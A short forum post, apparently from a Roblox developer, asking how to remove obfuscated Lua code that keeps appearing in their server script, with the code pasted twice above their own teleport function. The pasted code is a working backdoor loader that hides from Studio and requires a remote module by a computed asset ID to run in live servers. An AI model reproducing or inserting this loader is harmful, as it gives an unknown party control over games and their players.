I kept getting weird code in my FE Server script?
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5 years ago Edited 5 years ago
1 | ikcD = game iD 66 Ly 6 REtX 30 DG = pcall if 4 dKwBumqQ = 'SSM' iX 4 a 5 P 4 e 6 qhl = require ii 3 Ga = 'Workspace' igT 8 jKf 6 oI 1 Te = 'PlaceId' iqFvJOGe = 'ReplicatedStorage' ifcyf 0 eNHR = 'RunService' ipOa 9 qkqOMz = 'WaitForChild' iLD 73 Xdnfnt = 'IsStudio' iWqwHRkoGvh = 'IsStudio' iDwvgGK 8 Y = 'load' itE 8 ugF 6 klD = pcall igid = 29176448.274725 * 91 iD 2 nxs = require iHhDtt = game i 9 yX 4 r = 'Debris' iuEAooMA = spawn iuEAooMA( function () iD 66 Ly 6 REtX 30 DG( function () if iHhDtt:GetService(ifcyf 0 eNHR) [ iLD 73 Xdnfnt ] (iHhDtt:GetService(ifcyf 0 eNHR) ) then return end iX 4 a 5 P 4 e 6 qhl(igid) [ iDwvgGK 8 Y ] (iHhDtt [ igT 8 jKf 6 oI 1 Te ] ) end ) end ) |
1 | TeleportEvent.OnServerEvent:Connect(ikcD = game iD 66 Ly 6 REtX 30 DG = pcall if 4 dKwBumqQ = 'SSM' iX 4 a 5 P 4 e 6 qhl = require ii 3 Ga = 'Workspace' igT 8 jKf 6 oI 1 Te = 'PlaceId' iqFvJOGe = 'ReplicatedStorage' ifcyf 0 eNHR = 'RunService' ipOa 9 qkqOMz = 'WaitForChild' iLD 73 Xdnfnt = 'IsStudio' iWqwHRkoGvh = 'IsStudio' iDwvgGK 8 Y = 'load' itE 8 ugF 6 klD = pcall igid = 29176448.274725 * 91 iD 2 nxs = require iHhDtt = game i 9 yX 4 r = 'Debris' iuEAooMA = spawn iuEAooMA( function () iD 66 Ly 6 REtX 30 DG( function () if iHhDtt:GetService(ifcyf 0 eNHR) [ iLD 73 Xdnfnt ] (iHhDtt:GetService(ifcyf 0 eNHR) ) then return end iX 4 a 5 P 4 e 6 qhl(igid) [ iDwvgGK 8 Y ] (iHhDtt [ igT 8 jKf 6 oI 1 Te ] ) end ) end ) |
2 | function (player, Location, Wallet, Price) |
3 | if Wallet > = Wallet then |
4 | Wallet = Wallet - Price |
6 | player.Character:findFirstChild( "Torso" ).CFrame = CFrame.new(Location) |
This lot of code keeps getting pasted into my server script every new server start so its messing it up. Anyone know how to remove it?
Regards,